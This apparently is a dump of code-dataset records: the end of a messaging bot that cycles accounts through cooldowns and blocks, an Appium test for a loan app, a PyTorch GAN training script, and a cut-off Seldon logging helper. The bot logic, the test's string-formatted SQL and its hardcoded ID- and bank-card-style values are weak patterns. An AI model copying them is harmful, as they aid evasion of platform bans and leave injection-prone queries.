remtime = frt / 60\r\n print('\\nstill active while in %s minutes sleep [%s Minutes Remaining] \\n' % (cooldwnm, remtime))\r\n time.sleep(timeused)\r\n else:\r\n print('account removed, moving on /././.')\r\n Repeat += 100\r\n\r\n accchk2 = getacc()\r\n if accchk2 is not False:\r\n remt = time.time() - sstart\r\n frt = cooldwn - remt\r\n remtime = frt / 60\r\n print('\\nstill active while in %s minutes sleep [%s Minutes Remaining] \\n' % (cooldwnm, remtime))\r\n time.sleep(timeused)\r\n else:\r\n print('account removed, moving on /././.')\r\n Repeat += 100\r\n\r\n accchk3 = getacc()\r\n if accchk3 is not False:\r\n remt = time.time() - sstart\r\n frt = cooldwn - remt\r\n remtime = frt / 60\r\n print('\\nstill active while in %s minutes sleep [%s Minutes Remaining] \\n' % (cooldwnm, remtime))\r\n time.sleep(timeused)\r\n else:\r\n print('account removed, moving on /././.')\r\n Repeat += 100\r\n\r\n accchk4 = getacc()\r\n if accchk4 is not False:\r\n remt = time.time() - sstart\r\n frt = cooldwn - remt\r\n remtime = frt / 60\r\n print('\\nstill active while in %s minutes sleep [%s Minutes Remaining] \\n' % (cooldwnm, remtime))\r\n time.sleep(timeused)\r\n else:\r\n print('account removed, moving on /././.')\r\n Repeat += 100\r\n\r\n accchk5 = getacc()\r\n if accchk5 is not False:\r\n remt = time.time() - sstart\r\n frt = cooldwn - remt\r\n remtime = frt / 60\r\n print('\\nstill active while in %s minutes sleep [%s Minutes Remaining] \\n' % (cooldwnm, remtime))\r\n time.sleep(timeused)\r\n else:\r\n print('account removed, moving on /././.')\r\n Repeat += 100\r\n\r\n accchk6 = getacc()\r\n if accchk6 is not False:\r\n remt = time.time() - sstart\r\n frt = cooldwn - remt\r\n remtime = frt / 60\r\n print('\\nstill active while in %s minutes sleep [%s Minutes Remaining] \\n' % (cooldwnm, remtime))\r\n time.sleep(timeused)\r\n else:\r\n print('account removed, moving on /././.')\r\n Repeat += 100\r\n\r\n accchk7 = getacc()\r\n if accchk7 is not False:\r\n remt = time.time() - sstart\r\n frt = cooldwn - remt\r\n remtime = frt / 60\r\n print('\\nstill active while in %s minutes sleep [%s Minutes Remaining] \\n' % (cooldwnm, remtime))\r\n time.sleep(timeused)\r\n else:\r\n print('account removed, moving on /././.')\r\n Repeat += 100\r\n\r\n else:\r\n Repeat =+ 100\r\n print('Previous account is blocked: %s'%email)\r\n reacc += 1\r\n\r\n\r\n\r\n\r\n\r\nsec = time.time() - s_time\r\nminu = sec / 60\r\nprint(\"\\n\\nThe bot finished within %s minutes\" % minu)\r\n","sub_path":"Messaging/Frontline.py","file_name":"Frontline.py","file_ext":"py","file_size_in_byte":21939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"366149440","text":"#coding=utf-8\n#-------------------------------------------------------------------------------------------\n#作者:吴俊威 日期:2018年10月 内容:页面一,二,三,四阶段订单合同生成,新完成到单位信息页\n#--------------------------------------------------------------------------------------------\nfrom appium import webdriver\nimport unittest\nfrom mobiletest.appcomm import *\nfrom mobiletest.appclass import *\nfrom common.fun_t import *\nfrom common.mysql_pub import *\nfrom common.mysql_pubtwo import *\nfrom common.oracle_pub import *\nfrom common.logger import Log\nimport os\nnewcon_name=\"默认空箺\"\ncon_name=\"灰度测试\"\ncpath=PATH(\"..\\config\\yaml\\jyb\\jybcase1.yaml\")\npc_type=\"android真机:Honor Note10\"\npc_ip=\"10.14.21.20\"\ngetparam={'parama': '54010000001', 'paramb': '电脑', 'paramc': '即享贷D', 'paramd': '4000', 'parame': '1000', 'paramf': '全部', 'paramg': '12', 'paramh': '台式电脑', 'parami': '三星', 'paramj': '不参加', 'paramk': '轮循', 'paraml': 's', 'paramm': 'case7'}\nuname=\"300079\"\nmarkval=\"300079_8_4\"\nclass jyb_order_300079_8_7(unittest.TestCase):\n @classmethod\n def setUpClass(cls): #运行一次\n # appclass.__init__(self,driver,cpath)\n # super(jyb_order, self).setUp()\n cls.con_name = con_name\n cls.cpath = cpath\n cls.pc_type = pc_type\n cls.pc_ip = pc_ip\n cls.getparam = getparam\n cls.uname = uname\n cls.driver = connecthub(cls.pc_type,cls.pc_ip)\n if cls.driver:\n Log().info(\"连接服务器成功\")\n else:\n Log().info(\"连接服务器失败\")\n\n @classmethod\n def tearDownClass(cls): #运行一次\n cls.driver.quit()\n pass\n\n def tests_pr(self):\n u'''即有宝流程测试pr合同'''\n Log().info(\"订单流程开始\")\n time.sleep(5)\n com = appclass(self.driver,self.cpath)\n # com.capital_sel(getparam['paramk']) #资金池--暂屏蔽\n com.swipeleft(3)\n time.sleep(1)\n com.elm_operate(0,\"\")\n com.elm_operate(1,self.uname)\n for x in range(2,4):\n com.elm_operate(x,\"\")\n time.sleep(3)\n if com.findItem(\"ok\"):\n com.elm_operate(4,\"\")\n if com.findItem(\"开启手势密码\"):\n # self.driver.tap([(0,60), (1080,210), (100, 100)], 100)\n com.elm_operate(5,\"\")\n if com.findItem(\"确定\"):\n com.elm_operate(6,\"\")\n com.elm_operate(7,\"\")\n time.sleep(4)\n com.get_dbtext(1,self.getparam['parama'])\n com.elm_operate(8,\"\")\n time.sleep(1)\n com.get_dbtext(0,self.getparam['paramb'])\n com.elm_operate(9,\"\")\n time.sleep(1)\n com.get_dbtext(0,self.getparam['paramc'])\n com.elm_allson_send(12,13,0,self.getparam['paramd'])\n com.elm_allson_send(12,13,1,self.getparam['parame'])\n com.elm_operate(14,\"\")\n time.sleep(4)\n com.checkItem(\"选择分期\",\"新建订单页面一下一步保存\")\n #------------15,16\n bx_one= self.driver.find_elements_by_id(\"com.giveu.corder:id/switch_insurance\")\n bbx= self.driver.find_elements_by_id(\"com.giveu.corder:id/switch_treasure\")\n print(bx_one)\n if getparam['paramf'] == '不参加' and len(bx_one) > 0:\n self.driver.find_element_by_id(\"com.giveu.corder:id/switch_insurance\").click()\n elif getparam['paramf'] == '保险' and len(bbx) > 0:\n self.driver.find_element_by_id(\"com.giveu.corder:id/switch_treasure\").click()\n else:\n print(\"pass\")\n time.sleep(2)\n com.get_dbtext(0,self.getparam['paramg'])\n com.swipeup()\n com.elm_operate(17,\"\")\n time.sleep(4)\n com.checkItem(\"商品类型\",\"新建订单页面二下一步保存\")\n etm=self.driver.find_element_by_id(\"com.giveu.corder:id/ll_item\")\n etms=etm.find_elements_by_id(\"com.giveu.corder:id/tv_choose_right\")\n time.sleep(1)\n # com.elm_allson_click(18,19,0)\n etms[0].click()\n time.sleep(1)\n com.get_dbtext(0,self.getparam['paramh'])\n # com.elm_allson_click(18,19,1)\n etms[1].click()\n time.sleep(1)\n com.get_dbtext(0,self.getparam['parami'])\n com.elm_operate(20,\"\")\n #预留21,22\n qmb= self.driver.find_elements_by_id(\"com.giveu.corder:id/cb_insurance\")\n sspa= self.driver.find_elements_by_id(\"com.giveu.corder:id/cb_broken\")\n if self.getparam['paramj'] == '全面保' and len(qmb) > 0:\n self.driver.find_element_by_id(\"com.giveu.corder:id/cb_insurance\").click()\n elif self.getparam['paramj'] == '碎碎平安' and len(sspa) > 0:\n self.driver.find_element_by_id(\"com.giveu.corder:id/cb_broken\").click()\n else:\n print(\"pass\")\n com.swipeup()\n com.elm_operate(23,\"\")\n time.sleep(4)\n com.checkItem(\"身份证\",\"新建订单页面三下一步保存\")\n #拍照\n com.elm_operate(24,\"\")\n com.elm_operate(25,\"\")\n time.sleep(2)\n com.swipedown()\n com.elm_operate(26,con_name+chzw())\n textval = com.get_elm_textval(26)\n n={'name':textval}\n wryaml(PATH(\"..\\config\\yaml\\jyb\\dim.yaml\"),n)\n time.sleep(2)\n textvall=getyaml(PATH(\"..\\config\\yaml\\jyb\\dim.yaml\")).get('name')\n # pathcname=os.path.realpath(__file__)\n # print(pathcname)\n # change_name(pathcname,textval)\n # Log().info(\"合同名更新完成\")\n # time.sleep(4)\n for s in range(27,41):\n com.elm_operate(s,\"\")\n time.sleep(1)\n com.swipeup()\n com.elm_operate(41,\"\")\n Log().info(\"订单名称:%s \"%textval)\n V = OracleUtil(dbname)\n time.sleep(2)\n cnoval =V.oracle_getstring(\"select contract_no from cs_credit where id_person=(select id from (select * from cs_person where name like '%s%%' order by create_time desc) where rownum=1)\"%textval)\n time.sleep(1)\n print(cnoval)\n A = MysqlUtil()\n time.sleep(2)\n A.mysql_execute(\"INSERT INTO mobiletest_mobiledata (contract_no,con_name,con_ident,con_phone,create_time,capital_source,con_status,username,runnum,case_no) VALUES ('%s','%s','%s','%s',NOW(),'%s','%s','%s','%s','%s')\"%(cnoval,textval,idcard,mobilephone,getparam['paramk'],getparam['paraml'],uname,markval,getparam['paramm']))\n if com.findItem(\"客户门店照片\"):\n Log().info(\"订单pr合同号生成成功:%s\"%cnoval)\n MysqlUtil().mysql_execute(\"UPDATE mobiletest_mobiledata SET con_status='pr' WHERE con_name='%s'\"%textval)\n else:\n Log().info(\"订单pr合同号生成异常:%s\"%cnoval)\n\n def tests_r(self): #流程测试r合同\n u'''即有宝流程测试r合同'''\n # textval = MysqlUtil().mysql_getstring(\"SELECT t.con_name FROM (SELECT * FROM mobiletest_mobiledata WHERE con_name LIKE '%s%%' ORDER BY create_time DESC) t LIMIT 1\"%con_name) #流程测试r合同\n textvall=getyaml(PATH(\"..\\config\\yaml\\jyb\\dim.yaml\")).get('name') #流程测试r合同\n Log().info(\"名称:%s\"%textvall) #流程测试r合同\n com = appclass(self.driver,self.cpath) #流程测试r合同\n com.elm_operate(42,\"\") #流程测试r合同\n time.sleep(1) #流程测试r合同\n if self.pc_type.split(':')[0]==\"android真机\": #流程测试r合同\n com.elm_operate(43,\"\") #流程测试r合同\n time.sleep(2) #流程测试r合同\n com.elm_operate(44,\"\") #拍照确认 #��程测试r合同\n else: #流程测试r合同\n com.elm_operate(82,\"\") #流程测试r合同\n time.sleep(2) #流程测试r合同\n com.elm_operate(83,\"\") #拍照确认 #流程测试r合同\n com.elm_operate(54,\"\") #流程测试r合同\n com.elm_operate(51,\"\") #流程测试r合同\n com.elm_operate(45,\"\") #流程测试r合同\n time.sleep(20) #流程测试r合同\n com.checkItem(\"授权\",\"客户信息页上传照片\") #流程测试r合同\n com.elm_operate(46,\"\") #流程测试r合同\n time.sleep(10) #等下最新验证码生成 #流程测试r合同\n pcode =OracleUtil(dbname).oracle_getstring(\"select code from (select * from cs_sms_authority where mobile='%s' order by create_time desc) where rownum=1\"%mobilephone) #流程测试r合同\n time.sleep(3) #流程测试r合同\n com.elm_operate(47,pcode) #输入验证码 #流程测试r合同\n com.elm_operate(48,\"\") # 征信授权页完成 #流程测试r合同\n time.sleep(5) #流程测试r合同\n com.checkItem(\"PDF\",\"征信授权页保存\") #流程测试r合同\n com.elm_operate(49,\"\") #流程测试r合同\n time.sleep(12) #流程测试r合同\n if com.findItem(\"基本信息\"): #流程测试r合同\n Log().info(\"PDF列表页提交预审保存完成,r合同生成成功\") #流程测试r合同\n MysqlUtil().mysql_execute(\"UPDATE mobiletest_mobiledata SET con_status='r' WHERE con_name='%s'\"%textvall) #流程测试r合同\n else: #流程测试r合同\n Log().info(\"PDF列表页提交预审,r合同生成失败\") #流程测试r合同\n\n def tests_s(self): #流程测试s合同\n u'''即有宝流程测试s合同'''\n # textval = MysqlUtil().mysql_getstring(\"SELECT t.con_name FROM (SELECT * FROM mobiletest_mobiledata WHERE con_name LIKE '%s%%' ORDER BY create_time DESC) t LIMIT 1\"%con_name) #流程测试s合同\n textvall=getyaml(PATH(\"..\\config\\yaml\\jyb\\dim.yaml\")).get('name')#流程测试s合同\n Log().info(\"名称:%s\"%textvall) #流程测试s合同\n com = appclass(self.driver,self.cpath) #流程测试s合同\n for a in range(60,67): #流程测试s合同\n com.elm_operate(a,\"\") #流程测试s合同\n com.swipeup() #流程测试s合同\n com.elm_operate(67,\"\") #流程测试s合同\n time.sleep(4) #流程测试s合同\n com.checkItem(\"单位信息\",\"基本信息页下一步保存\") #流程测试s合同\n for b in range(68,77): #流程测试s合同\n com.elm_operate(b,\"\") #流程测试s合同\n com.swipeup() #流程测试s合同\n for v in range(77,82): #流程测试s合同\n com.elm_operate(v,\"\") #流程测试s合同\n time.sleep(4) #流程测试s合同\n com.checkItem(\"联系人\",\"单位信息页下一步保存\") #流程测试s合同\n #-----Begin----填写联系人信息 --20181015 chenjingxu #流程测试s合同\n #填写文本框内容 #流程测试s合同\n Log().info(\"开始填写联系人信息\") #流程测试s合同\n HF = \"未婚\" #流程测试s合同\n com3 = appclass(self.driver, PATH(\"..\\config\\yaml\\jyb\\jybcase2.yaml\")) #流程测试s合同\n #填写姓名和手机号 #流程测试s合同\n if HF == \"已婚\": #流程测试s合同\n for h in range(0, 7): #流程测试s合同\n com3.elm_operate(h, \"\") #流程测试s合同\n else: #流程测试s合同\n for h in range(0, 5): #流程测试s合同\n com3.elm_operate(h, \"\") #流程测试s合同\n #选择与本人关系 #流程测试s合同\n r = 0 #流程测试s合同\n for s in range(9, 11): #流程测试s合同\n lis = [12, 48] #流程测试s合同\n com3.elm_operate(s, \"\") #流程测试s合同\n print(\"没有点击打开弹窗\") #流程测试s合同\n time.sleep(0.5) #流程测试s合同\n com3.elm_operate(lis[r], \"\") #流程测试s合同\n r = r + 1 #流程测试s合同\n #提交 #流程测试s合同\n com3.elm_operate(13,\"\") #流程测试s合同\n Log().info(\"恭喜,填写联系人信息成功!!!\") #流程测试s合同\n #第一步 填写银行卡号 #流程测试s合同\n self.driver.activate_ime_engine(\"com.sohu.inputmethod.sogou.xiaomi/.SogouIME\") #流程测试s合同\n com3.elm_operate(21, \"\") #流程测试s合同\n self.driver.activate_ime_engine(\"io.appium.android.ime/.UnicodeIME\") #流程测试s合同\n com3.elm_operate(52, \"\") #流程测试s合同\n com3.elm_operate(53, \"\") #流程测试s合同\n time.sleep(3) #流程测试s合同\n # com3.elm_operate(30, \"\") #流程测试s合同\n # time.sleep(4) #流程测试s合同\n # MysqlUtiltwo().mysql_execute(\"update credit_bankcard_four set check_result=2000 where name='%s'\"%textvall) #流程测试s合同\n MysqlUtiltwo().mysql_execute(\"INSERT INTO credit_bankcard_four (`name`,bank_card,mobile,id_number,check_result,check_msg,sp_code,create_time,service_id,extra) VALUES ('%s','6228481359515816576','13300000000','511000198506020031','2000','全匹配','BAIRONG',NOW(),'10000',NULL)\"%textvall) #流程测试s合同\n time.sleep(2) #流程测试s合同\n com3.elm_operate(55, \"\") #流程测试s合同\n time.sleep(2) #流程测试s合同\n send_codee =MysqlUtiltwo().mysql_getstring(\"SELECT t.sms_code FROM (SELECT * FROM sms_verify_info WHERE phone = '%s' ORDER BY sent_time DESC) t LIMIT 1\"%mobilephone) #流程测试s合同\n print(send_codee) #流程测试s合同\n time.sleep(10) #流程测试s合同\n com3.elm_operate(54,send_codee) #流程测试s合同\n com3.elm_operate(15, \"\") #流程测试s合同\n com3.checkItem(\"其他信息\",\"绑定银行卡页保存\")#流程测试s合同\n #------------------------------------断 #流程测试s合同\n #进入其他信息页 #流程测试s合同\n com3.elm_operate(32, \"\") #流程测试s合同\n com3.elm_operate(33, \"\") #流程测试s合同\n com3.elm_operate(34, \"\") #流程测试s合同\n com3.elm_operate(15, \"\") #流程测试s合同\n time.sleep(1) #流程测试s合同\n com3.checkItem(\"授权\",\"其他信息页保存\")#流程测试s合同\n #跳过授权 #流程测试s合同\n com3.elm_operate(15, \"\") #流程测试s合同\n com3.checkItem(\"小问卷\",\"跳过授权保存\")#流程测试s合同\n #小问卷 #流程测试s合同\n com3.elm_operate(36, \"\") #流程测试s合同\n com3.elm_operate(37, \"\") #流程测试s合同\n com3.elm_operate(51, \"\") #流程测试s合同\n com3.checkItem(\"影像证明\",\"小问卷保存\")#流程测试s合同\n #上传影像证明 #流程测试s合同\n com3.swipedown() #流程测试s合同\n com3.elm_operate(38, \"\") #流程测试s合同\n com3.elm_operate(39, \"\") #流程测试s合同\n com3.elm_operate(40, \"\") #流程测试s合同\n time.sleep(2) #流程测试s合同\n self.driver.wait_activity(\"com.giveu.corder.ordercreate.activity.PhotoCertificateActivity\", 20, 1) #流程测试s合同\n com3.swipeup() #流程测试s合同\n com3.elm_operate(41, \"\") #提交 #流程测试s合同\n com3.elm_operate(42, \"\") #流程测试s合同\n com3.elm_operate(43, \"\") #流程测试s合同\n time.sleep(2) #流程测试s合同\n if com3.findItem(\"成功提交\"): #流程测试s合同\n Log().info(\"即有宝S合同生成成功\") #流程测试s合同\n MysqlUtil().mysql_execute(\"UPDATE mobiletest_mobiledata SET con_status='s' WHERE con_name='%s'\"%textvall) #流程测试s合同\n else: #流程测试s合同\n Log().info(\"即有宝S合同生成失败\") #流程测试s合同\n\n\n\n\n\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"case/test_300079_8_6.py","file_name":"test_300079_8_6.py","file_ext":"py","file_size_in_byte":15713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"6275364","text":"import numpy as np\nfrom os import listdir, makedirs, getcwd, remove\nfrom os.path import isfile, join, abspath, exists, isdir, expanduser\n\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.autograd as autograd\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.utils.data as data\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nimport torchvision\nfrom torchvision import transforms, datasets, models\nfrom torch import Tensor\n\nimport visdom\nimport math\nimport matplotlib.pyplot as plt \nimport scipy\nfrom scipy import io as sio\nfrom scipy.io import savemat\nfrom scipy.io import loadmat\n\nfrom dataloaders import parallel_dataloader, non_parallel_dataloader\nfrom networks import dnn_generator, dnn_discriminator\nfrom utils import *\n\nimport argparse\n\n\n\n# Training Function\ndef training(data_loader, n_epochs):\n Gnet.train()\n Dnet.train()\n \n for en, (a, b) in enumerate(data_loader):\n a = Variable(a.squeeze(0).type(torch.FloatTensor)).to(device)\n b = Variable(b.squeeze(0).type(torch.FloatTensor)).to(device)\n\n valid = Variable(Tensor(a.shape[0], 1).fill_(1.0), requires_grad=False).to(device)\n fake = Variable(Tensor(a.shape[0], 1).fill_(0.0), requires_grad=False).to(device)\n \n # Update G network\n optimizer_G.zero_grad()\n Gout = Gnet(a)\n \n G_loss = adversarial_loss(Dnet(Gout), valid) + mmse_loss(Gout, b)\n \n G_loss.backward()\n optimizer_G.step()\n\n\n # Update D network\n optimizer_D.zero_grad()\n\n # Measure discriminator's ability to classify real from generated samples\n real_loss = adversarial_loss(Dnet(b), valid)\n fake_loss = adversarial_loss(Dnet(Gout.detach()), fake)\n D_loss = (real_loss + fake_loss) / 2\n \n D_loss.backward()\n optimizer_D.step()\n \n \n print (\"[Epoch: %d] [Iter: %d/%d] [D loss: %f] [G loss: %f]\" % (n_epochs, en, len(data_loader), D_loss, G_loss.cpu().data.numpy()))\n \n\n# Validation function\ndef validating(data_loader):\n Gnet.eval()\n Dnet.eval()\n Grunning_loss = 0\n Drunning_loss = 0\n \n for en, (a, b) in enumerate(data_loader):\n a = Variable(a.squeeze(0).type(torch.FloatTensor)).to(device)\n b = Variable(b.squeeze(0).type(torch.FloatTensor)).to(device)\n\n valid = Variable(Tensor(a.shape[0], 1).fill_(1.0), requires_grad=False).to(device)\n fake = Variable(Tensor(a.shape[0], 1).fill_(0.0), requires_grad=False).to(device)\n \n Gout = Gnet(a)\n G_loss = adversarial_loss(Dnet(Gout), valid) + mmse_loss(Gout, b)\n\n Grunning_loss += G_loss.item()\n\n\n real_loss = adversarial_loss(Dnet(b), valid)\n fake_loss = adversarial_loss(Dnet(Gout.detach()), fake)\n D_loss = (real_loss + fake_loss) / 2\n \n Drunning_loss += D_loss.item()\n \n return Drunning_loss/(en+1),Grunning_loss/(en+1)\n\n\n\ndef do_training():\n epoch = args.epoch\n dl_arr = []\n gl_arr = []\n for ep in range(epoch):\n\n training(train_dataloader, ep+1)\n if (ep+1)%args.checkpoint_interval==0:\n torch.save(Gnet, join(checkpoint,\"gen_Ep_{}.pth\".format(ep+1)))\n torch.save(Dnet, join(checkpoint,\"dis_Ep_{}.pth\".format(ep+1)))\n \n if (ep+1)%args.validation_interval==0:\n dl,gl = validating(val_dataloader)\n print(\"D_loss: \" + str(dl) + \" G_loss: \" + str(gl))\n dl_arr.append(dl)\n gl_arr.append(gl)\n \n if ep == 0:\n gplot = viz.line(Y=np.array([gl]), X=np.array([ep]), opts=dict(title='Generator'))\n dplot = viz.line(Y=np.array([dl]), X=np.array([ep]), opts=dict(title='Discriminator'))\n else:\n viz.line(Y=np.array([gl]), X=np.array([ep]), win=gplot, update='append')\n viz.line(Y=np.array([dl]), X=np.array([ep]), win=dplot, update='append')\n\n \n savemat(checkpoint+\"/\"+str('discriminator_loss.mat'), mdict={'foo': dl_arr})\n savemat(checkpoint+\"/\"+str('generator_loss.mat'), mdict={'foo': gl_arr})\n\n plt.figure(1)\n plt.plot(dl_arr)\n plt.savefig(checkpoint+'/discriminator_loss.png')\n plt.figure(2)\n plt.plot(gl_arr)\n plt.savefig(checkpoint+'/generator_loss.png')\n\n\n\n'''\nTesting on training dataset as of now. Later it will be modified according to the different shell scripts.\n'''\n\n\ndef do_testing():\n save_folder = args.save_folder\n test_folder_path = args.test_folder\n dirs = listdir(test_folder_path)\n Gnet = torch.load(join(checkpoint,\"gen_Ep_{}.pth\".format(args.test_epoch))).to(device)\n\n for i in dirs:\n \n # Load the .mat file\n d = read_mat(join(test_folder_path, i))\n\n a = torch.from_numpy(d['foo'])\n a = Variable(a.type('torch.FloatTensor')).to(device)\n \n Gout = Gnet(a)\n\n savemat(join(save_folder,'{}.mat'.format(i[:-4])), mdict={'foo': Gout.cpu().data.numpy()})\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description=\"Training methodology for Whisper-to-Normal Speech Conversion\")\n parser.add_argument(\"-np\", \"--nonparallel\", type=bool, default=False, help=\"Parallel training or non-parallel?\")\n parser.add_argument(\"-dc\", \"--dnn_cnn\", type=str, default='dnn', help=\"DNN or CNN architecture for generator and discriminator?\")\n parser.add_argument(\"-tr\", \"--train\", action=\"store_true\", help=\"Want to train?\")\n parser.add_argument(\"-te\", \"--test\", action=\"store_true\", help=\"Want to test?\")\n parser.add_argument(\"-ci\", \"--checkpoint_interval\", type=int, default=5, help=\"Checkpoint interval\")\n parser.add_argument(\"-e\", \"--epoch\", type=int, default=100, help=\"Number of Epochs\")\n parser.add_argument(\"-et\", \"--test_epoch\", type=int, default=100, help=\"Epochs to test\")\n parser.add_argument(\"-lr\", \"--learning_rate\", type=float, default=0.0001, help=\"Learning rate\")\n parser.add_argument(\"-vi\", \"--validation_interval\", type=int, default=1, help=\"Validation Interval\")\n parser.add_argument(\"-mf\", \"--mainfolder\", type=str, default=\"../dataset/features/US_102/batches/f0/\", help=\"Main folder path to load F0 batches\")\n parser.add_argument(\"-cf\", \"--checkpoint_folder\", type=str, default=\"../results/checkpoints/f0/\", help=\"Checkpoint saving path for F0 features\")\n parser.add_argument(\"-sf\", \"--save_folder\", type=str, default=\"../results/mask/f0/\", help=\"Saving folder for converted MCC features\")\n parser.add_argument(\"-tf\", \"--test_folder\", type=str, default=\"../results/mask/mcc/\", help=\"Input whisper mcc features for testing\")\n\n args = parser.parse_args()\n\n\n\n\n # Connect with Visdom for the loss visualization\n viz = visdom.Visdom()\n\n # Path where you want to store your results \n mainfolder = args.mainfolder\n checkpoint = args.checkpoint_folder\n\n # Training Data path\n if args.nonparallel:\n custom_dataloader = non_parallel_dataloader\n else:\n custom_dataloader = parallel_dataloader\n\n\n traindata = custom_dataloader(folder_path=mainfolder)\n train_dataloader = DataLoader(dataset=traindata, batch_size=1, shuffle=True, num_workers=2) # For windows keep num_workers = 0\n\n\n # Path for validation data\n valdata = custom_dataloader(folder_path=mainfolder)\n val_dataloader = DataLoader(dataset=valdata, batch_size=1, shuffle=True, num_workers=2) # For windows keep num_workers = 0\n\n\n # Loss Functions\n adversarial_loss = nn.BCELoss()\n mmse_loss = nn.MSELoss()\n\n ip_g = 40 # MCEP feature dimentions\n op_g = 1 # F0 feature dimentions\n ip_d = 1 # MCEP feature dimentions\n op_d = 1\n\n\n # Check for Cuda availability\n if torch.cuda.is_available():\n decive = 'cuda:0'\n else:\n device = 'cpu'\n\n # Initialization \n if args.dnn_cnn == \"dnn\":\n Gnet = dnn_generator(ip_g, op_g, 512, 512, 512).to(device)\n Dnet = dnn_discriminator(ip_d, op_d, 512, 512, 512).to(device)\n\n\n # Initialize the optimizers\n optimizer_G = torch.optim.Adam(Gnet.parameters(), lr=args.learning_rate)\n optimizer_D = torch.optim.Adam(Dnet.parameters(), lr=args.learning_rate)\n\n\n if args.train:\n do_training()\n if args.test:\n do_testing()","sub_path":"py_src/MMSE_GAN_F0.py","file_name":"MMSE_GAN_F0.py","file_ext":"py","file_size_in_byte":8256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"151663328","text":"import os\nimport datetime\nimport sys\nimport json\nimport numpy as np\nfrom elasticsearch import Elasticsearch, RequestsHttpConnection\n\nTYPE_HEADER_NAME = \"Ce-Type\"\nREQUEST_ID_HEADER_NAME = \"Ce-Requestid\"\nCLOUD_EVENT_ID = \"Ce-id\"\n# in seldon case modelid is node in graph as graph can have multiple models\nMODELID_HEADER_NAME = \"Ce-Modelid\"\nNAMESPACE_HEADER_NAME = \"Ce-Namespace\"\n# endpoint distinguishes default, canary, shadow, A/B etc.\nENDPOINT_HEADER_NAME = \"Ce-Endpoint\"\nTIMESTAMP_HEADER_NAME = \"CE-Time\"\n# inferenceservicename is k8s resource name for SeldonDeployment or InferenceService\nINFERENCESERVICE_HEADER_NAME = \"Ce-Inferenceservicename\"\nLENGTH_HEADER_NAME = \"Content-Length\"\nDOC_TYPE_NAME = None\n\n\ndef get_max_payload_bytes(default_value):\n max_payload_bytes = os.getenv(\"MAX_PAYLOAD_BYTES\")\n if not max_payload_bytes:\n max_payload_bytes = default_value\n return max_payload_bytes\n\n\ndef extract_request_id(headers):\n request_id = headers.get(REQUEST_ID_HEADER_NAME)\n if not request_id:\n # TODO: need to fix this upstream - https://github.com/kubeflow/kfserving/pull/699/files#diff-de6e9737c409666fc6c48dbcb50363faR18\n request_id = headers.get(CLOUD_EVENT_ID)\n return request_id\n\ndef build_index_name(headers, prefix = \"inference\", suffix = True, name_override = None):\n # use a fixed index name if user chooses to do so\n index_name = os.getenv(\"INDEX_NAME\")\n if index_name:\n return index_name\n\n # Adding seldon_environment (dev/test/staging/prod) to index_name if defined as a environment variable\n seldon_environment = os.getenv(\"SELDON_ENVIRONMENT\")\n if seldon_environment:\n index_name = prefix+\"-log-\" + seldon_environment + \"-\" + serving_engine(headers)\n else:\n index_name = prefix+\"-log-\" + serving_engine(headers)\n\n # otherwise create an index per deployment\n # index_name = \"inference-log-\" + serving_engine(headers)\n namespace = clean_header(NAMESPACE_HEADER_NAME, headers)\n if not namespace:\n index_name = index_name + \"-unknown-namespace\"\n else:\n index_name = index_name + \"-\" + namespace\n if name_override is None:\n inference_service_name = clean_header(INFERENCESERVICE_HEADER_NAME, headers)\n # won't get inference service name for older kfserving versions i.e. prior to https://github.com/kubeflow/kfserving/pull/699/\n if not inference_service_name:\n inference_service_name = clean_header(MODELID_HEADER_NAME, headers)\n else:\n inference_service_name = name_override\n if not inference_service_name:\n index_name = index_name + \"-unknown-inferenceservice\"\n else:\n index_name = index_name + \"-\" + inference_service_name\n\n if suffix:\n endpoint_name = clean_header(ENDPOINT_HEADER_NAME, headers)\n if not endpoint_name:\n index_name = index_name + \"-unknown-endpoint\"\n else:\n index_name = index_name + \"-\" + endpoint_name\n\n return index_name\n\n\ndef is_reference_data(headers):\n type_header = headers.get(TYPE_HEADER_NAME)\n if type_header.startswith(\"io.seldon.serving.reference\") or \\\n type_header.startswith(\"org.kubeflow.serving.reference\"):\n return True\n return False\n\n\ndef parse_message_type(type_header):\n if (\n type_header == \"io.seldon.serving.inference.request\"\n or type_header == \"org.kubeflow.serving.inference.request\"\n or type_header == \"io.seldon.serving.reference.request\"\n or type_header == \"org.kubeflow.serving.reference.request\"\n ):\n return \"request\"\n if (\n type_header == \"io.seldon.serving.inference.response\"\n or type_header == \"org.kubeflow.serving.inference.response\"\n or type_header == \"io.seldon.serving.reference.response\"\n or type_header == \"org.kubeflow.serving.reference.response\"\n ):\n return \"response\"\n if (\n type_header == \"io.seldon.serving.feedback\"\n or type_header == \"org.kubeflow.serving.feedback\"\n ):\n return \"feedback\"\n # FIXME: upstream needs to actually send in this format\n if (\n type_header == \"io.seldon.serving.inference.outlier\"\n or type_header == \"org.kubeflow.serving.inference.outlier\"\n ):\n return \"outlier\"\n if (\n type_header == \"io.seldon.serving.inference.drift\"\n or type_header == \"org.kubeflow.serving.inference.drift\"\n ):\n return \"drift\"\n return \"unknown\"\n\n\ndef set_metadata(content, headers, message_type, request_id):\n serving_engine_name = serving_engine(headers)\n content[\"ServingEngine\"] = serving_engine_name\n\n # TODO: provide a way for custom headers to be passed on too?\n field_from_header(content, INFERENCESERVICE_HEADER_NAME, headers)\n field_from_header(content, ENDPOINT_HEADER_NAME, headers)\n field_from_header(content, NAMESPACE_HEADER_NAME, headers)\n field_from_header(content, MODELID_HEADER_NAME, headers)\n\n inference_service_name = content.get(INFERENCESERVICE_HEADER_NAME)\n # kfserving won't set inferenceservice header\n if not inference_service_name:\n content[INFERENCESERVICE_HEADER_NAME] = clean_header(\n MODELID_HEADER_NAME, headers\n )\n\n if message_type == \"request\" or not \"@timestamp\" in content:\n timestamp = headers.get(TIMESTAMP_HEADER_NAME)\n if not timestamp:\n timestamp = datetime.datetime.now(datetime.timezone.utc).isoformat()\n content[\"@timestamp\"] = timestamp\n\n content[\"RequestId\"] = request_id\n return\n\n\ndef serving_engine(headers):\n 